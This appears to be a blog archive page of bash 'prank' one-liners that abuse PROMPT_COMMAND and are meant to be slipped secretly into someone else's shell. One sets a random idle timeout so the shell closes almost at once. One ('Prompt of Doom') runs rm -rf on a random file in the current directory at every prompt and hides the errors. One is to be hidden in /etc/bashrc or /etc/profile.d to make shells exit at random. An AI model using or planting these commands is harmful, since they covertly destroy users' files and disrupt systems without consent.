Archive for the ‘ PROMPT_COMMAND Panic ’ Category

Better learn to type fast…

Another nice one to confuse and annoy, as usual you need to sneak this one into somebody’s bash session:

export PROMPT_COMMAND='export TMOUT=$[ ${RANDOM} % 15 ]'

Meet the Prompt of Doom

Try to sneak this one into someone’s session and watch the hilarity ensue:

export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'

Random exits

This one is sure to confuse. A user will exit his shell somewehere random inside 30 minutes after starting it. Hide the following piece of code somewhere in /etc/bashrc or a .sh file in /etc/profile.d/

export PROMPT_COMMAND='[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] && exit'